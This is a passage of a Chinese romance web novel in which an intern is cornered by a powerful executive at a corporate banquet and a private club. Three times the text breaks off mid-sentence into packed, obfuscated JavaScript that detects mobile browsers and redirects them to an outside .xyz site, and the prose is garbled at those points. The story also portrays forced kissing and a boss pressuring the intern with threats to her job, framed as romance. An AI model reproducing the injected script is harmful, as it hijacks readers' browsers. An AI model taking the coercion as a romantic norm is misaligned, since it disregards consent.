她没明白,他已经俯下身,彻底让她沦陷。 梦里还有那些未发生的后续。 他应该是滔天的、炽热的,如发泄对她的情绪,狂烈,不休止。 迷糊间,闪过他在旁人前冷静神祇般的形象。 她想的是,真有出息啊,居然能让这样的男人跪在自己身下。 梦醒了。 宋洛允第一反应是后怕。 却感受到一片湿润,仿佛空落落的难以填满。 起身收拾,前去公司。 …… 宋洛允工位上有个小日历,划了两个圈,一个是距离自己签合同成为正式员工的时间,另一个是考研复试出成绩的时间。 前者还有50天,后者只剩下3天。 她不喜欢这份工作,但是她缺钱,当下以实习生的身份6000一个月的工资,转正以后底薪8000加上提成,一个月再怎样税前会有一万块钱,这个工资以她的学历与专业来说并不高,但已经够她生活了。 如果她顺利考上研究生,那她干到九月份就辞职,但如果出了意外,她怕还是要在这一行继续走下去,更不能失去工作了。 上午忙到十二点半,匆匆吃个饭,又被喊去开会。这次是讨论接手新项目的事情,有档旅行综艺因为剪辑问题被粉丝抵制,导演组没办法,临时换了后期团队,由宋洛允所在的部门接管。 拿到企划案,宋洛允认真翻看综艺简介,从中发现一个熟悉的名字:刘叶衫。 宋洛允花了半分钟才想起这个人。 是那天在游轮上偷腥的男演员。 越是不想撞见的人越是能撞见,会议刚结束,她就被安排了一个任务:找出刘叶衫此前的所有经历,包括影视资料、感情史、在荧幕上的人设等,并且要特别关注他的粉丝喜欢他的理由、以及粉丝群体可能存在的敏感点。 他的经济公司要求特别多。 要求把镜头里有关于他与他妻子的片段剪得充满粉红泡泡,要体现他好老公的人设,特别要求缩减他的戏份,从而实现激起粉丝怒火的效果——能让粉丝替他发声,以此巩固粉丝。 宋洛允开始处理资料,从密密麻麻的文字里提取关键信息,之后开始按照需求制定方案,忙到晚上九点。 站在窗口往下望,整栋办公楼依然灯火通明。 她时常觉得是他们这些打工人亮起了所谓纸醉金迷的城市。 “搞定了?今天收工得挺早。”Eva靠在自己的工位上,搭着腿转着笔,调侃,“资料找得怎么样?” “高中被学校劝退,进入演艺圈前期打架、霸凌别人,现在居然能靠结婚人设翻身,恶心。”在熟人面前的宋洛允什么话都敢说。 Eva笑着说:“就这样?看来你没有找到更关键的信息。” “出轨,花钱让女方堕胎,结果反悔不给钱?”宋洛允看着Eva那似笑非笑的表情,便知道这是实情。 他们干这一行的,总能接触到这圈子的各种小道消息,再光鲜亮丽的外表都是靠无数黑历史堆砌起来的,少有正常的人。 Eva说:“我找的这个人也不是什么好东西。” 宋洛允耸肩:“男人的特性。” 下了班,宋洛允独自回家,今日省钱不打车,就从地铁口扫了辆共享单车回去,路过最靠近家的路口时下意识多看了一眼,生怕那里又会出现某个身影。 幸好没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他扣住她的手,一点点靠近她,碎发擦过柔软的皮肤,身体几乎与她的胸部相贴。 宋洛允闭上眼睛,颤抖的指尖勾住他的袖子,试图握住他的手腕。 却听他说:“想走?行啊,你吻我,我满意了就让你走。” 宋洛允无动于衷,睁开愤恨的眸,气他明晃晃的羞辱。 他却只笑,指节从她的眼睛,到鼻子,到嘴巴:“不吻也行,那让我吻你,或许你今晚走不掉了。” 宋洛允知道,这只是他的借口。 但是主动是她唯一的希望,她只有这一个选择。 她的手依然被禁锢住,所以她只能踮起脚尖,笨拙地寻找傅淮之嘴唇的位置。这样的位置让她能够清楚地定位到他看向她的视线,是惬意的,带着戏谑。 尽可能让自己的眼神往下,却又能看见他们的唇,是湿润的,嘴角有晶莹剔透的细丝,带着无法言语的暧昧。 她知道这样还不够。 只能尽可能用舌头抵开他的牙,轻松得在意料之外,却忽然间迷茫了。 却又在这时,她的手被松开。 无从支撑的手只能扶住背后的栏杆,男人却将重心往她身上,她在不停后仰中失去了平衡,只能扶住他的腰。 湿气漂浮间,她听到了一阵笑声。 很轻,但还是惊扰了她,睫毛颤了颤,下意识往旁边躲。 但她的舌头,居然被咬住了。 男人盯着她,随着她闪躲的动作加重力道,直到她痛得再不敢乱动。 他神情满意,看着她说了两个字: “继续。” 6. 忍耐 随着宋洛允的手完全攀上傅淮之的后背,他松开咬着她的牙齿,任由她笨拙地往里探。 他没有主动,也没有回应,她漫无目的地这里逗留一下,那里逗留一下。 他又笑了,这次说的是:“还真是笨拙啊。” 宋洛允被调侃到憋红了一张脸,只能到自己觉得合适的时候脱离他。 这次没有被拦着,但傅淮之也没有松开对她的禁锢,只舔了舔唇瓣,笑得痞气:“怎么办,我还不满足。” 她闭上眼睛,就该知道,他肯定不会允诺。 却听到他下一句:“不是不可以让你走,只是。” 他扶着她的腰,让她站在地面,五根指节扼住她的喉咙,令她抬头,弯腰在她唇上落下侵略性的吻。 又急又强势,她几乎失去了所有氧气。 傅淮之很快松开她,侧头盯着她的眼睛,神色里的凶狠淡去些许,取而代之的是意犹未尽。 但他说:“你学好了,下一次,我会检验你的学习成果。” 还有下一次。 因为这句话,宋洛允焦虑了好几天,梦里心跳频率剧烈,不停重复一句话安慰自己:只要躲得够好,他就没有机会靠近她,也就没有下一次。 …… 宋洛允坐在工位上,不停地揉着右眼皮,它已经跳了一个上午了,似乎预告着不好的事情发生。 工位被敲了敲,Eva站在她面前:“醒醒,开会了。” 她笑了笑,随着站起身,看见玻璃门外走动的一群人,又把口罩戴上。 今天是与刘叶衫团队的第一场会议,听说刘叶衫本人也会参与,想起上次两人不太愉快的交集,她还是尽可能别让他认出来的好。 会议室内寒暄声起,宋洛允坐在主讲位斜对面,或许是带着口罩显得有些奇特,好几个人朝她投来目光。 身边同部门的人小声问她:“你怎么了?” 宋洛允摇头:“脸过敏了,只能戴口罩。” 无人怀疑,也并不在意,会议同时开始。 会议内容不过就录像母带展开新一期剪辑思路,大屏幕上画面不停闪烁,实习生只有低头记录的工作,有次抬头猛地看见刘叶衫的视线定格在她身上,她心虚得低下头,避开任何对视。 持续两个小时,会议结束,主管在门口同刘叶衫团队聊天,其他人被困在里面,走也走不动。 宋洛允转着笔构思剪辑思路,李孜雅盯着门口,小声同她说:“听说他的粉丝已经把楼下堵住了,自从知道他的那些黑历史后就无法直视这个人,没想到他还会有那么多粉丝。” 宋洛允摇摇头,食指比划在嘴边,示意她别说。 所谓隔墙有耳,本人还在这里,她们他们不能当面嚼耳根。 给人打工的就得有打工人的觉悟,哪里把甲方伺候得不好,他们的工作也保不住。 那几人总算离开,宋洛允收拾好东西回到工位,又去了茶水间泡杯咖啡,才把口罩摘下来透透气。 此刻已经是饭点,她没来得及点外卖,只能走到公司楼下买,她不喜欢到店买东西,不能用优惠券,要多花很多钱。 电梯刚到一楼,迎面看到一大片围在门口的粉丝,只能跟着人群从侧门出去,绕过停车场走到马路对面。 宋洛允刚走到大路,忽然听到身后有人喊她的名字。 回头发现是刘叶衫,他带着口罩帽子,但他穿着标志性的小狗衣服——他外号是金毛,因为粉丝说他如金毛那样温暖可靠。 他走到她面前,似亲切地说:“宋洛允对吧?我没认错,刚才就觉得是你。” 宋洛允皱眉,警惕地看着他:“有什么事情?” “没什么,只是想请你吃顿饭,上次的事情谢谢你。”刘叶衫抱着臂,他身边没有其他人,或许这样才让他有机会靠近她。 宋洛允说:“不用,况且我也没做什么。” 如果不是因为工作,她大概不会再见到这个人。但即使有工作,她也不想遇到他。 将冷漠写得淋漓,她以为刘叶衫该懂,转身想走。 却被他抓住手腕,执着地说:“你别走,我还有事情想拜托你。” 宋洛允迅速甩开他的手,不给他退路:“我身上没有你想得到的,你应该去找别人。” 话刚说完,刘叶衫忽然偏头,看向马路对面一个身影,眼神凌厉:“草,谁?” 她顺着他的眼神看过去,草丛里一个人迅速逃窜,手里还握着一台相机。 是狗仔。 心里产生后怕,面前刘叶衫却像抓住把柄一样,同她说:“我要你在傅总面前美言我几句,让他别再盯着我不放。如果你答应了,我会派人买下那个狗仔手里的东西,如果你不答应,狗仔会把你跟我的关系大做文章,到时候我会发声明说是你勾引我的,我的女粉多,她们会替我说话,但是你手无寸铁之力,你觉得是对你的影响大,还是对我的影响大?” “你威胁我?”宋洛允气得手臂发颤,“你的事情跟我没有任何关系,你尽管去做,看我会不会怕。” “我没有想威胁你,是商量。”刘叶衫不依不挠,“我也没有办法了,最近听到风声称有人在调查我,一查发现是傅总,他掌握了我们公司所有事情,我们斗不过他,一旦他有动作我们就完蛋了!” 他再次试图拉住宋洛允的手,这回她眼疾手快,躲过了。 继续说:“我知道你跟傅总关系不一般,那天我就猜到了,你去跟他说,他肯定能听你的。” “你是觉得你威胁了我,还有资格跟我谈条件?”宋洛允一字一句,“你想得美,自己的事情自己解决,别指望我会帮你。” …… 总算从刘叶衫手里挣脱,宋洛允的好心情已被破坏,没了胃口,任何饭都不想吃,便在超市买了根冰淇淋,坐在门口吃完,心情平复些许。 也不知道从什么时候养的习惯,她心情不好时喜欢吃冰的及甜的东西。 想起刘叶衫说的话,心情还是闷得慌。 怪只能怪他得罪了傅淮之,他那个人像是个活体诅咒,得罪他的人睚眦必报,不会有好下场。 可怕到,她甚至不知道刘叶衫到底哪里惹了他。 然而隔日晚上,她便再次见到这个“活体诅咒”。 恒宇与傅氏有合作,隔一段时间会有两大集团组织的晚宴,但晚宴位置有限,只能从两个公司里抽取一部分人参加,这次抽中的是宋洛允所在的后期部。 得知这个消息的众人尤其兴奋,已然在交流穿什么衣服化怎样的妆,刘俊胜专门交代:“今晚的晚宴傅总也会去,大家该干的工作抓紧干完,务必全员到齐,让公司看见我们的面貌!” 一句话,堵死了宋洛允请假的想法。 右眼皮又开始跳动,无论她怎么想控制也止不住,仿佛预告了晚上是场鸿门宴。 下午晚些时候宋洛允临时被喊去开会,从五点开到六点,室外的人已经下班前去会场,而他们还在加班。 李孜雅等得不耐烦,但不敢明着表示,便小声同宋洛允吐槽:“平时特效组跟后期组怎么会有这么久的会议,摆明了是嫉妒我们被抽到名额,故意拖时间害我们去不成。” 宋洛允朝她露出一个无奈的笑容。 心情却在狂喜,最好是继续拖时间,拖到去不成就最好了。 再过了半个小时,对方实在没话聊了,只能解散会议,剩下几个人立刻回去收拾东西准备出发。 宋洛允正准备说太晚不去了,刘俊胜却走出来:“你们终于开完会,赶紧出发,再晚就来不及了。” 宋洛允几乎被拎着上车,经过半个小时的路程赶到会场,当下恰好开始晚宴。 她一眼注意到正中浮雕墙前的那一桌,连桌面都披上与众不同的玄黑桌布,那个人就在整个宴会厅的主位。 眼神再不敢往那处瞥,几个人一起在里面找了一圈,却发现已经没了空桌。 “领导层多安排了一桌,所以其他位置不够了,但是现在还有一桌是空的。”服务生告诉他们。 顺着他手指方向看过去,是主桌。 服务生悄悄告诉他们:“领导层也不敢跟那位一起吃饭,那桌现在只有两个公司的总裁和副总,还能再安排6个人一起。” “……疯了吧,领导层都不敢,我们怎么可能有这个胆子。”旁边有人说。 另一人却说:“其实不太一样,总裁能直接管到他们,但我们只是普通吃顿饭,总不能因为我们不敬酒所以开了我们。” 其他人也说:“是啊,而且跟傅总一起吃饭说出去多有面子。” 僵持许久,终于决定走过去,刘俊胜身为主任,首当其冲询问主位那人的意思,得到应允后招呼大家坐下。 宋洛允踌躇了许久。 面前是近在咫尺的男人,分明方才的距离已经足够让她发怵了,此刻却站在他身后,尽管他没看她,但后背似乎还有一双眼睛,盯着她让她难以动弹。 等到反应过来的时候才发现位置已经被占完了,最后空出来的是傅淮之身边的那张椅子。 “洛允。”李孜雅轻轻唤她,眼神里还有些抱歉,她不想把宋洛允留下的,但也没人想坐在傅总身边,大家都急着抢位置,只能是先到先得。 “我找别人拼桌就行。”宋洛允用口型告诉她。 她只想逃之夭夭,却在下一秒看见男人侧身,伸手拉开了那张空凳子。 同时落下一句话:“坐下吧。” “……”宋洛允硬着头皮说,“不用麻烦了,我……” “宋洛允!”刘俊胜赶忙走到她身边,将人连拉带拽地把人送回去,“你怎么那么不懂事啊?傅总亲自邀请你还敢拒绝,快回去,否则有你苦头吃。” 偏偏还要对着傅淮之说一句:“傅总抱歉,她叫宋洛允,是新来的实习生,还不太懂规矩。” 傅淮之淡淡一笑:“无妨,小女生心气高是好事。” 宋洛允闭眼深深吐出一口气,左边是源源不断挤入的客套话,右边是男人低沉的嗓音,多数情况下只是一句“嗯”,但听得她心慌。 试图将椅子往男人的反方向挪,却有只手落在她的座椅上,擦过她臀部的皮肤,几乎贴着她的腿。 她连阻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171353|180684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止都不敢,任由他锁住她的位置。 “你……”宋洛允小声开口。 转身看见上菜的服务生就在她另一边,从餐车上端了份龙虾,放在圆桌正中心。 服务生离开,那只手也没再触碰她。 宴会厅各处能传来交谈的声音,唯有主桌寂静无声,无人敢动第一双筷子,纷纷都沉默着假装很忙,连说话都只敢在耳边悄声。 傅渝轩饶有兴致地关注每个人的神情,最后定格在中央诱人的龙虾上,摩挲着手上的碗筷。 实在受不了时,便同傅淮之说:“我都让你平时别表现得那么严肃,你看吧,连吃饭都没人敢跟你一起。” 他倾身夹了一块肉,其他人依然不敢吃,齐刷刷看向傅淮之。 傅渝轩无奈耸肩,示意身边人:“吃呗,再不吃他们就要疯了。” “……”傅淮之拧眉,余光看向宋洛允,她坐得笔直,手本本份份放在腿上,眼神却往下垂,无聊得发呆。 抬起筷子,夹起的肉在半空犹豫片刻。 最后什么都没做,将肉送到自己面前。 傅渝轩对其他人说:“吃吃吃,不需要有那么多束缚,大家开心就好。” 他是傅家二房的大儿子,生性爱玩无规无据,可惜后面被派来协助傅淮之一同管理傅氏,傅淮之对外冷淡,而他热情,所以时常充当唱红脸的角色。 “傅总,我为您倒酒。”刘俊胜端着红酒过来,当下只有他的职位最高,他要抓住机会在他面前刷存在感。 傅淮之轻叩两下桌面,刘俊胜顺着为左边的宋洛允倒酒,只是绕到她另一侧,显然有话同她说。 “你就在傅总旁边,多敬酒陪他聊几句话,别老是这幅死人的模样。” “……您想要可以跟我换位置。”宋洛允淡淡说。 刘俊胜不乐意了:“把他哄好了,咱们都有升官的机会,你也不想一辈子拿这点工资吧?我把你酒杯倒满点,你多说几句话。” 宋洛允不耐烦,在刘俊胜倒完酒,陪着笑起身,她说:“不用了,我酒精过敏,喝不了。” 话说得有点大声,左右两边的人能听见,傅淮之与傅渝轩同时往这边看,刘俊胜还想挤兑几句,看这样子也只能作罢。 “没必要这么为难人,咱们是正经公司,没有那些过时的酒桌文化。”傅渝轩出声调侃,其实心里也烦透这些自以为是的家伙,总给公司惹来坏名声。 余光发现傅淮之伸手呼唤服务生,他挑眉问他:什么事?但他没回应,兀自喝酒。 很快服务生回来,把另一个瓶子放在桌上:“这是无酒精香槟,各位慢用。” 宋洛允不打算触碰,晃了会神后居然发现傅淮之接过她面前的红酒瓶,倒入他自己的杯子里,后抽了张纸巾缓慢沿着杯壁擦拭。 傅渝轩猛地看向傅淮之。 他这又是什么操作? 思考不出所以然,倒是对面的刘俊胜按捺不住,故作得体地推脱几句:“这,不合适,傅总,让小洛自己来就行。” “无妨。”傅淮之动作并无停顿,“倒酒罢了,顺手的事。” 听见他的拒绝,刘俊胜露出一个满意的微笑,欣赏地看着宋洛允。 傅渝轩将一切尽收眼底,摇摇头。 香槟倒入酒杯中,推到宋洛允面前。服务生没有送来香槟杯,所以他就这么用原先的红酒杯替她倒,金黄色的香槟里竟没有一滴红。 至于她的酒,正在他的杯子里,不嫌膈应似的倒入口中。 宋洛允却吃不下去,掐着点数一分一秒,再昂贵的名菜在她嘴里是苦涩的,她努力往下咽,进程过半后找借口去洗手间。 果然是鸿门宴。 就像是被设计好那样,存在着无数说不清的巧合,再次把她推到他身边。 而她只能提心吊胆地关注着他的每个动作,生怕他会做出怎样的事,让她难堪。 擦干脸上的水珠,丢进垃圾桶,又在门口坐了十分钟,才起身回去。 刚准备推开主会场的门,却有一股很大的力量抓住她的手腕,将她拉到角落。 没来得及呼救,唇便被堵上,浓烈的红酒味在嘴里发酵,争先恐后的龙涎香将她包裹。 再熟悉不过的气息,她知道是谁。 他掐着她的下巴,吻得忘情,而她双手放在他的腰间,试图将他往外推,却被他圈得更紧,动作更发了狠。 “别咬……”宋洛允祈求地说,努力从缺氧的疯狂中挤出两个微弱的音。 不能咬,同事们都在里面,会被看见的。 男人动作顿了顿,下一秒却像惩罚似的,让血腥味扩散。 宋洛允睫毛颤了颤,挤出一滴眼泪,他咬在唇内侧的位置,别人看不见,但是很疼。 他手捧着她,轻轻地点了两下,发红的双眸盯着她。 “是你自找的。”他说,声音很轻,却吹出落在她耳廓的气,“你一直在我眼前晃。” 指腹抹去那滴泪,沿着鼻根,移到眼尾,细细地揉着。 “还一直是这副表情。” 难以忍耐似的,他再吻住她。 7. 玩物 像疯了一样,傅淮之居然就这么抓着毫无防备的人,圈在角落猛烈地亲吻。 他的动作很重,凶狠到,宋洛允都不知道自己做错了什么。 外面华光四溢,在门外暗处角落,温度却在极速上升。 偶有细小声音出现,大多是来自女声不自禁的轻哼,却又很快收回,后怕地警惕着可能出现的人。 忽地,门外传来一阵笑声。 越来越近,越来越清晰,宋洛允吓得伸手抵在门后,生怕他们随时推门。 “傅大哥……”宋洛允努力挣脱,小声呼唤身边的人。 “嗯?”他却像什么都没意识到似的,用鼻尖蹭了蹭她的鼻子。 宋洛允浑身都在发抖:“好像,好像有人过来上洗手间。” “然后呢?”他反问她。 她张了张嘴,却感受到门被推动,下意识的反应让她张开五指抵挡,白皙的手背青筋蔓延而上。 “奇怪,这个门怎么推不开。” 外面传来疑惑的声音。 “可能坏了,用力试试。”另一个人说。 意识到不对,外面已经传来猛烈的力道,她抵挡不住,又在被门缝夹住之前,有只手迅速拉住她。 门推开,刺眼的光线涌入,又被厚重的门隔绝,恰好为门背后两具身躯提供隐蔽的环境。 嬉笑的几人向前走,无人回头,谁也没想到那里会有两个人。 宋洛允松了口气,但很快又觉得不安,等会他们回来肯定会看向这里,她必须要在他们回来前挣脱开傅淮之。 “傅大哥。”她试图同他谈判,“这里会有人经过,你能不能……放开我。” “怕了?”他的言语里却有笑意,“你怎么什么都怕?” 宋洛允不敢与他对视,也不知道该怎么同他说话,低着头挣扎,却在他面前显得过于自不量力。 他的手覆在她的腰上,没有过于过分的动作,但当下也不好受,他却欣赏她的每个表情,仿佛她越挣扎,他越兴奋。 “想让我放你走,也行。”傅淮之居高临下看着她,“还记得我说过什么吗,依然算数。” 他说,主动吻我,就放过你。 他也说,下一次,我要看到你的进步。 宋洛允憋红了一张脸,讨厌极了这种不断试探她底线的行为,但她是被动的,没有商讨空间。 闭上眼睛,凭感觉前去探索,手臂慢慢攀上傅淮之的脖颈,从他明显松弛了的情绪能够察觉到,他很满意她的动作。 唇部相贴,上面还留有两人的气息,连温度也相同。 她开始学着傅淮之的样子,有节奏的探索,但她更温柔也更小心翼翼,连呼吸也很轻。 她大概是因为傅淮之嘴里的酒味而醉了,居然就这么着了他的道,依着他学着那些她本没有兴趣的东西。 等到反应过来时已经失去了主动的权利,正再次被傅淮之摁住,用力地亲吻。 过道处忽然传来谈话声。 “你们有近距离看见傅总吗?他本人比新闻里更帅,那宽肩窄腰,完全是那种禁欲性的身材。” “他气场很强,但性格其实特别好,刚才坐在他旁边的女生酒精过敏,他就让人送了果汁,还专门替她倒上。” “啊,好想魂穿那个女生啊!” 距离很近,声音清晰,男人心情甚好,动作相对温柔些许,边吻她边轻轻的揉她的脖子,似在安抚。 又听惊呼:“啊——那里有人!” 宋洛允心一震,猛地睁眼。 她居然沉浸其中,忘记脱离这个人。 更恐怖的是,她与其中一个人对上视线,气氛凝固些许。 对方惊讶得捂住嘴,呆呆看着她。 大概觉得唐突,她弯腰示意,迅速离开此处,顺便将门关上。 宋洛允总算能推开傅淮之。 靠在墙边喘气,眼神依然逃避,伸手抹去唇边的狼狈。 他没再逼近,她也不想同他说话,推门小跑进主会场。 他有病,他不正常。 他怎么可以,在这么多人所在的场合将她拉到一边,强迫她接吻。 嘴唇火辣辣地疼,带着心里的委屈一起扩散。 进入灯光聚集处,宋洛允才发现自己领口乱得不像话,赶紧转身将纽扣系好,迅速调整。 应该没有人看到吧。 心虚得往旁边瞥,却又撞见了方才路过那几个人,她们正盯着她,脸上写满疑惑,大概已经猜到七八分。 身后又有人路过,是傅淮之,她吓得撒腿快步往前走,拉开距离。 那头,几个人八卦的心难以掩盖。 “她就是刚才那个女生吧?那里没有其他人了。” “是的,但她后面的人,是傅总?” “难道她跟傅总一起……” 像发现了所有人都不知道的事,他们谈论不休,从宋洛允研究到傅淮之。 傅淮之清楚他们的小动作。 偏头视线投过去,面无表情但多年来沉积的威压让他的目光泛寒。喋喋不休的人瞬间未敢言语,他勾了勾唇,点头示意。 “嘘——可别再说了。” “他眼神好恐怖,我感觉我半条命没了。” “所以他是不是真的跟那个女人有关系?” “别说了别说了,回去再讨论。” …… 宋洛允回去的时候同桌的只剩下部门几个人,氛围明显放松很多。 刘俊胜已经喝得醉醺醺,将手搭在椅背,不满地看着宋洛允:“让你好好陪傅总,你倒好,一跑就跑了半个小时,人都被你气跑了。” 李孜雅坐在刘俊胜旁边,悄悄给宋洛允打手势:他喝醉了,别理他。 宋洛允轻轻点头,握住酒杯将香槟倒入口中,又被猛烈上涌的气泡呛得皱了眉。 傅淮之同时回来,刘俊胜立刻坐直,端着故作本分但还是盖不住醉醺醺的姿态,陪着笑。 宋洛允烦死这类职场鬣狗,低头发呆,不想去听他们的话。 这顿饭吃得心烦意燥,宋洛允跟在人群中往外走,前面是被围着的几位总裁,总有人在他们身边阿谀奉承,至于他们这些小罗罗,只能被堵在后头,听他们无意义的寒暄。 在人多的地方信号也不太好,手机转了好几个圈,才弹出傅泽鸣的消息。 【Eva跟我说你们去了傅氏的晚宴?结束了吗?我去接你?】 捏着手机想了一会,看向前方那个人。 还是回了一个字:【好。】 傅泽鸣住在学校,过来需要半个小时,她便准备回去,找个地方坐下等他。 刚进入室内,电话就响了,来电显示刘俊胜,她没接,等着电话自动挂断,对方又打了一次。 就这么僵持两个来回,电话终于不打了。还没来得及松一口气,人就找了过来。 “我就知道你在这里,给你打电话你不接,干什么去了?”刘俊胜说,声音大到连室外都有人看过来。 “怎么了。”宋洛允淡淡问,她不觉得刘俊胜这个时间点找她会有什么正事。 “你先别走,晚点还有一场,车马上来了。”刘俊胜说。 宋洛允皱眉:“什么意思?” 刘俊胜忽地笑了笑,神秘兮兮的往前些,靠到宋洛允耳边说:“我跟傅总说,再组个局,我带几个年轻漂亮的姑娘去,他默许了,你说,他是什么意思?” “……”宋洛允拽住衣服,“那跟我有什么关系?” “你必须得去啊,晚上傅总对你有特殊优待,你总不可能没察觉到吧。”刘俊胜总端着让人浑身不适的笑容,“在场那么多人,他只给你倒酒,你不会单纯觉得他有绅士风度吧?” 他同宋洛允靠得近,她不喜欢这样的距离,便往旁躲了躲,他倒没继续纠缠,稍直起身。 “赶紧整理一下自己,傅总有权多金相貌优越,多少人想上他的床都没机会,他要真看上你了,以后有你享受荣华富贵的机会。” 宋洛允只觉得可笑。 她不是会受控制的人,甩手站直,比刘俊胜更高的身高让她可以更有气势。 她说:“我是妓女吗?可以随便被你们送给任何人?” 不想多说,强硬地往外走,气上头的人连委屈都得向后稍稍。 外面的人已经散了大半,还有一群人在路口等车,宋洛允径直往外走,后面刘俊胜却追了上来。 “你怎么那么死脑筋啊,你这份工作不想要了吗?今天你过去了,对你对我都好,否则,信不信明天我就让你在公司里待不下去。” “我也不是非要——” 话却卡在嘴边。 她也想硬气地说自己不需要这份工作,但是她缺钱,熬了那么久马上就可以转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171354|180684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正了,怎么可以在这个时候出意外。 可是。 她茫然地看着周遭的人,明明这么多人在这,却看着她被逼迫,没有一个人替她出头。 这份工作,她真的非做不可吗。 “你看,你不想被公司拉黑名单,这是个多好的机会。”刘俊胜知道来硬的无法使这个犟种屈服,便试图用利益交换,“今天晚上,你放心,去的人多,只要不想,就不会有什么事发生。” 右侧始终停在路边的一辆车忽然开了灯,刺眼光线打破两人的争执,车门打开,下来一个身着西服的男人。 强烈的光线模糊了视线,直到他走进才看到,是平叔。 “宋小姐。”平叔轻轻点头,“上车吧。” 宋洛允难以置信地看着他,侧头是那辆车上坐着的男人。 他们一直都在这,却只安静欣赏着由她上演的这出戏,又在恰当时间击碎她的退路。 她走不了,这里全是袖手旁观的人,她不敢想象只要她反抗,他们会用多么强硬的方式拉回她。 讽刺地笑了,越过两个男人,尽力维续自己最后的自尊,挺直腰杆上了车。 路对面,有个人始终蹲在草丛里,观赏全程。 吐出一口白雾,将香烟往底下泥土中摁。 傅渝轩才站起来,拍了拍外套沾上的灰。 绕到大路上,朝看戏的人挥挥手:“该散都散了,今天的事各位都把嘴闭起来,要是传出去了,我一个个查。” 看着纷纷许诺的人,他摇了摇头,果然天天都得为傅淮之收拾烂摊子。 低头把玩手机,很快编辑消息,发送。 【她就是那位让你想结婚却把你耍了的女人?】 【够狠的,但你也挺禽兽的。】 【对女人要温柔点,信不信她会恨死你。】 …… 目的地是京城一家私人会所,车停在大门口,宋洛允迫不及待推开车门下车,对面的人却安静等着年叔开门。 宋洛允望着金碧辉煌的大厅装饰,没有吊扇旋转满是苍蝇纸巾油腻的桌子,连门口都有礼宾司负责接待。 出现在这样场所的女人,本身有钱的叫贵宾,本身没钱的叫金丝雀,或是玩物。 很难过,她是后者。 傅淮之走到她身边,她下意识往旁挪了一小步,他往前走,她跟在后头,身子是缩着的,眼神是怯懦的,踏入不属于她的圈子。 礼宾司直接带着人上电梯,宋洛允盯着不断跳跃的数字,狭小的空间里任何声音都能一清二楚。 她的手机提示音响了,来自傅泽鸣,说他已经到了,问她在哪。 将手机音量关闭,宋洛允用身躯挡住手机。 才回复:【抱歉,忘记跟你说了,我现在在京城会。】 傅泽鸣消息秒回。 【???】 【好端端吃个饭,怎么会跑到那边去?】 【你被要求去陪领导了?我现在去找你。】 身后忽然有声音出现,宋洛允迅速熄灭手机。 是平叔传来消息:“他们在后面,但是路上出了意外,估计晚点到。” “他们”指的是刘俊胜带着的一群女孩,就像选妃一样,只要他一句话,总有人替他送上门来。 电梯门开,俨然停在高层,电梯门外是一条狭小过道,两边皆是透明玻璃,介绍说是这栋楼特色的观景台,但宋洛允有些恐高,光是看着已经出了身冷汗。 硬着头皮踏入长廊,眼神只敢往前看,却有个凛然不惧的身影在身边。 顿了顿,竟有了依赖身边人的想法,若他能伸手搭她,或是允许她扯住他的手臂。 可惜只是幻想。 回到封闭的空间,她长舒一口气,身边人神态自若,并没人发觉她的异样。 也是,这才正常。 她怎么会有期待。 但很快,她就发现自己错了,不仅不该有期待,她更小看了傅淮之的手段。 刚进包厢,平叔同时说:“他们出了车祸,一时半会无法妥善处理,所以来不了。” 门关上,平叔出去,偌大的包间里只有两个人,没有监控,没有声音,换言之,她可以任他摆布。 宋洛允直到这时才明白,原来这一晚上从来没有什么“其他年轻漂亮姑娘”。 他的目标,从来只有她一个。 8. 信任 意识到这件事的宋洛允慢慢后退,警惕地看着不远处的男人。 他怡然自得地松开领带,将外套脱下置于沙发上,从容不迫地解开衬衫袖口处的扣子。 宋洛允却吓得汗毛直立,依靠弧形沙发挡住自己。 傅淮之走到台球桌前。 开灯,取了只杆,擦了擦巧粉。 只在搭上手架后说了两个字:“过来。” 台球弹出,沉重的撞击音让她吓得一怔。球体散落各处,落入洞中。 “既然是被送过来的人,不该有点被送过来的样子?”傅淮之淡淡说着,眼神却未在她身上停留。 “傅总。”宋洛允只敢离着一段距离同他说话,“不是您设计好的吗?” “是吗?”又一球落袋。 男声说:“并没有人把你架上我的车,你自己走上来的,难道不是自愿的吗?” “不是……”宋洛允想争辩。 “过来。”却被他一句话堵死,“不要让我说第三遍。” 宋洛允紧咬着唇,慢吞吞地走过去。 她上他的车还有一点原因,她赌他不会伤害她。 倘若不来,她的工作大概保不住,但来了还能有机会,她只能选择后者。 脑海闪过无数理由,等着靠近傅淮之时解释。 却没想到他说了句完全无关的话:“会不会打台球。” “……不会。”宋洛允不知道他葫芦里卖的药。 “过来,我教你。” “……” 宋洛允捏着手,想去拿另一只台球杆,又被人使唤回去,仅用他手上那只。 “手伸过来。”他说。 宋洛允不情不愿地伸过去。 男人带着薄茧的指尖握住她纤细手腕,落在台球桌上,三两下将她的手掰成标准的手架。 “撑住,手握在这。”他把球杆架在她手上,示意她握住杆尾,“蹲下,瞄准。” 他走到旁边点了支烟,盯着宋洛允的动作。 她难以保持稳定,杆握得歪歪扭扭,奋力往前推,意料之中呲了杆。 傅淮之抖了抖烟灰,走过去。 